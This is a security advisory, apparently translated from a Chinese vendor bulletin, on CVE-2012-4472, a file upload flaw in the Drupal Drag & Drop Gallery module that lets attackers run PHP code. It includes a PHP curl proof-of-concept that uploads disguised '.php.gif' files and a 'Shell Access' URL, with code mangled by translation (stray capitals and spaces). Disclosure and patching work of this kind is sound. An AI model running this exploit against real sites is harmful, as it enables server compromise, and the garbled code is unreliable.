Drupal Drag & amp; Drop Gallery module upload. php Arbitrary File upload Vulnerability

Release date:
Updated on:

Affected Systems:
Drupal Drag & Drop Gallery 6.x
Description:
--------------------------------------------------------------------------------
CVE (CAN) ID: CVE-2012-4472

The Drupal Drag & Drop Gallery module creates an image library node type. You can Drag and Drop images in the local file system to add images to the image library.

Drag & Drop Gallery 6. A file upload vulnerability exists in the x-1.5 and earlier sites/all/modules/dragdrop_gallery/upload. php versions. An attacker uploads a file with an executable extension and uses the filedir parameter to specify a directory to access the file and then execute arbitrary PHP code.

<* Source: Drupal Security Team

Link: http://secunia.com/advisories/49698
Http://web.nvd.nist.gov/view/vuln/detail? VulnId = CVE-2012-4472
Http://www.opensyscom.fr/Actualites/drupal-modules-drag-a-drop-gallery-arbitrary-file-upload-vulnerability.html
Http://drupal.org/node/1679442
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<? Php

$ Uploadfile = "db.php.gif ";
$ Uploadfile2 = "lo.php.gif ";

$ Ch = curl_init ("http: // localhost/drupal/sites/all/modules/dragdrop_gallery/upload. php? Nid = 1 & filedir =/drupal/sites/all/modules/dragdrop_gallery /");
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('user _ file [0] '=> "@ $ uploadfile ",
'User _ file [1] '=> "@ $ uploadfile2 "));
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ PostResult = curl_exec ($ ch );
Curl_close ($ ch );

Print "$ postResult ";

?>

Shell Access: http: // localhost/drupal/sites/all/modules/dragdrop_gallery/lo.php.gif db.php.gif
Filename: $ postResult output

Lo. php
<? Php
Phpinfo ();
?>

Suggestion:
--------------------------------------------------------------------------------
Temporary solution:

If you cannot install or upgrade the patch immediately, NSFOCUS recommends that you take the following measures to reduce the threat:

* Disable or delete the Drag & Drop Gallery Module

Vendor patch:

Drupal
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://drupal.org/project/dragdrop_gallery